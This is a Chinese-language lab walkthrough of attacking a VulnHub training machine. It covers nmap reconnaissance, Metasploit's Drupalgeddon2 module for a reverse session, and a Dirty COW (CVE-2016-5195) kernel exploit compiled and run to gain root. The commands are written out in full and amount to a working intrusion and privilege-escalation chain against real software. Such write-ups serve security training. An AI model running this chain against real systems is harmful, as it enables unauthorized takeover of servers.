脏牛提权(CVE-2016-5195)

一、实验环境

1
2
攻击机(kali): 192.168.189.143
靶机(ubuntu): 192.168.189.155
1
2
靶机来自vulnhub
下载链接:https://www.vulnhub.com/entry/lampiao-1,249/

二、信息收集

1、将靶机导入虚拟机后,利用nmap扫描存活主机

1
nmap 192.168.189.0/24

image-20220405162909738

2、扫描结果发现192.168.189.155开放了80端口,访问该端口

image-20220405163045112

3、再次利用nmap对该IP进行全端口扫描

1
nmap 192.168.189.155 -p1-65535

image-20220405163159595

4、发现该IP开放了1898端口,访问该端口我们发现该站点是由Drupal搭建的

image-20220405163255147

image-20220405163451136

三、漏洞利用

1、利用msf进行Drupal的漏洞利用

1
search drupal

image-20220405163613309

2、选择对应的模块进行利用

1
2
3
4
5
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set rhosts 192.168.189.155
set rport 1898
run

3、成功收到反弹会话

image-20220405163904104

四、权限提升

由于反弹回来的会话为普通用户权限,所以我们需要进行权限提升

image-20220405165613073

1、漏洞探针

我们将漏洞探针的脚本通过msf上传到靶机

1
下载地址:https://github.com/mzet-/linux-exploit-suggester

image-20220405164117849

2、进入shell会话,添加执行权限,并执行该脚本

1
2
chmod +x linux.sh
./linux.sh

image-20220405164304961

3、通过执行脚本我们可以发现该系统可以利用脏牛漏洞进行提权

image-20220405164403037

4、在Github下载漏洞利用的文件,并通过msf上传到靶机

1
下载地址: https://github.com/gbonacini/CVE-2016-5195

image-20220405164803211

5、使用C++命令进行编译

1
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

image-20220405164935095

6、创建一个会话,需要特定的会话才可以运行这个dcow文件,执行dcow文件,加入密码

1
2
python -c 'import pty; pty.spawn("/bin/bash")'
./dcow

image-20220405165258533

7、成功提权到root权限,并且获得flag

image-20220405165348669